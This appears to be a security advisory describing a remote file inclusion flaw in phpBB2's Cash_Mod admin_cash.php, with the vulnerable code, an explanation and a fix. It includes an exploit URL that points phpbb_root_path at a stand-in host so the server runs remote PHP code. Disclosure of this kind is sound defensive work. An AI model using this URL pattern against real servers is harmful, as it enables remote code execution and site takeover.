Vulnerabilities in forum phpBB2 with Cash_Mod (all ver.)

[Jerome ATHIAS <jerome@xxxxxxxxx>]

Hi all 

phpBB is a very popular message board using modules extensions. 

One of these module ? Cash_Mod is a very popular one and is used by many 
people. It has critical vulnerabilities, one of them letting anyone inject 
malicious PHP code that will be executed on the server side. 

Let?s start : 

In file /admin/admin_cash.php 

?.. 
if ( !empty($setmodules) ) 
{ 
include($phpbb_root_path . 'includes/functions_cash.'.$phpEx); 
$menu = array(); 
admin_menu($menu); 
?. 

First, nothing seems wrong! It?s just a normal piece of code with ?include? 
functions, but 
$phpbb_root_path & .$phpEx ? are *NOT* define yet! 


I don?t know why, but someone decided to define these variables later in the 
code : 

?? 
// 
// Let's set the root dir for phpBB 
// 
$phpbb_root_path = "./../"; 
require($phpbb_root_path . 'extension.inc'); 
require('./pagestart.' . $phpEx); 
include($phpbb_root_path . 'includes/functions_selects.'.$phpEx); 

?.. 

Well, any user can rewrite these parameters with GET or POST requests. 

Example : 
http://victim.host/phpBB2/admin/admin_cash.php?setmodules=1&phpbb_root_path=http://bad.host/
 


Fix : 
Set all default parameters after ?if ( !empty($setmodules) )? 

Example : 

// 
// Let's set the root dir for phpBB 
// 
$phpbb_root_path = "./../"; 
require($phpbb_root_path . 'extension.inc'); 
require('./pagestart.' . $phpEx); 
include($phpbb_root_path . 'includes/functions_selects.'.$phpEx); 

if ( !empty($setmodules) ) 
{ 
include($phpbb_root_path . 'includes/functions_cash.'.$phpEx); 
$menu = array(); 
admin_menu($menu); 


Thank you rofl!